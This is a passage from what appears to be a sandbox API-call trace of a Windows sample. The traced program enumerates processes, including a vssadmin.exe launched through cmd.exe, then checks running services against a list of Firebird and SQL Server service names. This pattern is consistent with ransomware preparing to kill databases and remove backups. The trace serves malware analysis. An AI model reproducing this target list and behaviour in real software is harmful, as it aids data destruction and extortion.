dwFlags=0x0, szExeFile="always_winds.exe")) returned 1 [0214.949] lstrlenW (lpString="always_winds.exe") returned 16 [0214.949] Process32NextW (in: hSnapshot=0x170, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="heatednetworkingaddress.exe")) returned 1 [0214.949] lstrlenW (lpString="heatednetworkingaddress.exe") returned 27 [0214.949] Process32NextW (in: hSnapshot=0x170, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="complexity forward jo.exe")) returned 1 [0214.950] lstrlenW (lpString="complexity forward jo.exe") returned 25 [0214.950] Process32NextW (in: hSnapshot=0x170, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="allow_internship_stands.exe")) returned 1 [0214.951] lstrlenW (lpString="allow_internship_stands.exe") returned 27 [0214.951] Process32NextW (in: hSnapshot=0x170, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="alienwed.exe")) returned 1 [0214.951] lstrlenW (lpString="alienwed.exe") returned 12 [0214.951] Process32NextW (in: hSnapshot=0x170, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="decent-wind-tuition.exe")) returned 1 [0214.952] lstrlenW (lpString="decent-wind-tuition.exe") returned 23 [0214.952] Process32NextW (in: hSnapshot=0x170, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="warriorpayroll.exe")) returned 1 [0214.953] lstrlenW (lpString="warriorpayroll.exe") returned 18 [0214.953] Process32NextW (in: hSnapshot=0x170, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mp beginners.exe")) returned 1 [0214.953] lstrlenW (lpString="mp beginners.exe") returned 16 [0214.953] Process32NextW (in: hSnapshot=0x170, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="theorem mo ol.exe")) returned 1 [0214.954] lstrlenW (lpString="theorem mo ol.exe") returned 17 [0214.954] Process32NextW (in: hSnapshot=0x170, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="proposition-photos-juvenile.exe")) returned 1 [0214.955] lstrlenW (lpString="proposition-photos-juvenile.exe") returned 31 [0214.955] Process32NextW (in: hSnapshot=0x170, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="harassment.exe")) returned 1 [0214.955] lstrlenW (lpString="harassment.exe") returned 14 [0214.955] Process32NextW (in: hSnapshot=0x170, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="francis-communication.exe")) returned 1 [0214.956] lstrlenW (lpString="francis-communication.exe") returned 25 [0214.956] Process32NextW (in: hSnapshot=0x170, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gccinformational.exe")) returned 1 [0214.957] lstrlenW (lpString="gccinformational.exe") returned 20 [0214.957] Process32NextW (in: hSnapshot=0x170, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="diploma.exe")) returned 1 [0214.957] lstrlenW (lpString="diploma.exe") returned 11 [0214.957] Process32NextW (in: hSnapshot=0x170, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="screenshots-mistress.exe")) returned 1 [0214.959] lstrlenW (lpString="screenshots-mistress.exe") returned 24 [0214.959] Process32NextW (in: hSnapshot=0x170, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0214.959] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0214.959] Process32NextW (in: hSnapshot=0x170, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.960] lstrlenW (lpString="svchost.exe") returned 11 [0214.960] Process32NextW (in: hSnapshot=0x170, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0214.961] lstrlenW (lpString="sppsvc.exe") returned 10 [0214.961] Process32NextW (in: hSnapshot=0x170, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.961] lstrlenW (lpString="svchost.exe") returned 11 [0214.961] Process32NextW (in: hSnapshot=0x170, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="qnuriy.exe")) returned 1 [0214.962] lstrlenW (lpString="qnuriy.exe") returned 10 [0214.962] Process32NextW (in: hSnapshot=0x170, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0214.963] lstrlenW (lpString="cmd.exe") returned 7 [0214.963] Process32NextW (in: hSnapshot=0x170, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0214.963] lstrlenW (lpString="conhost.exe") returned 11 [0214.963] Process32NextW (in: hSnapshot=0x170, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb70, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0214.964] lstrlenW (lpString="vssadmin.exe") returned 12 [0214.964] Process32NextW (in: hSnapshot=0x170, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0214.965] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0214.965] Process32NextW (in: hSnapshot=0x170, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0214.965] lstrlenW (lpString="VSSVC.exe") returned 9 [0214.965] Process32NextW (in: hSnapshot=0x170, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0214.966] CloseHandle (hObject=0x170) returned 1 [0214.966] Sleep (dwMilliseconds=0x1f4) [0218.535] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5700b0 [0218.535] EnumServicesStatusExW (in: hSCManager=0x5700b0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0) returned 0 [0218.536] GetLastError () returned 0xea [0218.536] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x13a6) returned 0x3f1c0d8 [0218.536] EnumServicesStatusExW (in: hSCManager=0x5700b0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f1c0d8, cbBufSize=0x13a6, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f1c0d8, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0) returned 1 [0218.537] CloseServiceHandle (hSCObject=0x5700b0) returned 1 [0218.537] lstrlenW (lpString="Appinfo") returned 7 [0218.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0218.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0218.537] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0218.537] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0218.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0218.537] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0218.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0218.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0218.537] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0218.537] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0218.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0218.537] lstrlenW (lpString="AudioSrv") returned 8 [0218.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0218.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0218.537] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0218.537] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0218.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0218.537] lstrlenW (lpString="BFE") returned 3 [0218.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0218.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0218.538] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0218.538] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0218.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0218.538] lstrlenW (lpString="CryptSvc") returned 8 [0218.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0218.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0218.538] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0218.538] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0218.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0218.538] lstrlenW (lpString="CscService") returned 10 [0218.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0218.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0218.538] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0218.538] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0218.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0218.538] lstrlenW (lpString="DcomLaunch") returned 10 [0218.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0218.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0218.538] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0218.538] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0218.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0218.538] lstrlenW (lpString="Dhcp") returned 4 [0218.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0218.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0218.538] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0218.538] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0218.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0218.538] lstrlenW (lpString="Dnscache") returned 8 [0218.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0218.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0218.539] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0218.539] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0218.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0218.539] lstrlenW (lpString="DPS") returned 3 [0218.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0218.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0218.539] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0218.539] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0218.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0218.539] lstrlenW (lpString="eventlog") returned 8 [0218.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0218.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0218.539] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0218.539] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0218.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0218.539] lstrlenW (lpString="EventSystem") returned 11 [0218.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0218.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0218.539] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0218.539] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0218.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0218.539] lstrlenW (lpString="FontCache") returned 9 [0218.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0218.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0218.539] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0218.539] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0218.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0218.539] lstrlenW (lpString="gpsvc") returned 5 [0218.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0218.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0218.540] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0218.540] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0218.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0218.540] lstrlenW (lpString="iphlpsvc") returned 8 [0218.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0218.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0218.540] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0218.540] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0218.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0218.540] lstrlenW (lpString="LanmanServer") returned 12 [0218.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0218.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0218.540] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0218.540] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0218.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0218.540] lstrlenW (lpString="LanmanWorkstation") returned 17 [0218.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0218.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0218.540] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0218.540] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0218.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0218.540] lstrlenW (lpString="lmhosts") returned 7 [0218.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0218.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0218.540] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0218.540] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0218.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0218.540] lstrlenW (lpString="MMCSS") returned 5 [0218.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0218.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0218.540] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0218.541] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0218.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0218.541] lstrlenW (lpString="MpsSvc") returned 6 [0218.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0218.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0218.541] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0218.541] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0218.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0218.541] lstrlenW (lpString="Netman") returned 6 [0218.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0218.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0218.541] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0218.541] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0218.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0218.541] lstrlenW (lpString="netprofm") returned 8 [0218.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0218.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0218.541] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0218.541] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0218.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0218.541] lstrlenW (lpString="NlaSvc") returned 6 [0218.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0218.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0218.541] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0218.541] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0218.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0218.541] lstrlenW (lpString="nsi") returned 3 [0218.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0218.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0218.541] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0218.541] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0218.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0218.542] lstrlenW (lpString="PcaSvc") returned 6 [0218.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0218.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0218.542] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0218.542] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0218.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0218.542] lstrlenW (lpString="PlugPlay") returned 8 [0218.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0218.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0218.542] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0218.542] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0218.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0218.542] lstrlenW (lpString="Power") returned 5 [0218.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0218.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0218.542] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0218.542] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0218.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0218.542] lstrlenW (lpString="ProfSvc") returned 7 [0218.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0218.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0218.542] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0218.542] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0218.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0218.542] lstrlenW (lpString="RpcEptMapper") returned 12 [0218.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0218.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0218.542] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0218.542] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0218.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0218.542] lstrlenW (lpString="RpcSs") returned 5 [0218.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0218.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0218.543] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0218.543] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0218.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0218.543] lstrlenW (lpString="SamSs") returned 5 [0218.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0218.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0218.543] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0218.543] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0218.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0218.543] lstrlenW (lpString="Schedule") returned 8 [0218.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0218.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0218.543] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0218.543] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0218.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0218.543] lstrlenW (lpString="SENS") returned 4 [0218.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0218.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0218.543] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0218.543] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0218.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0218.543] lstrlenW (lpString="ShellHWDetection") returned 16 [0218.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0218.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0218.543] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0218.543] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0218.543] lstrcmpiW (lpString1="sqlserveradhelper", 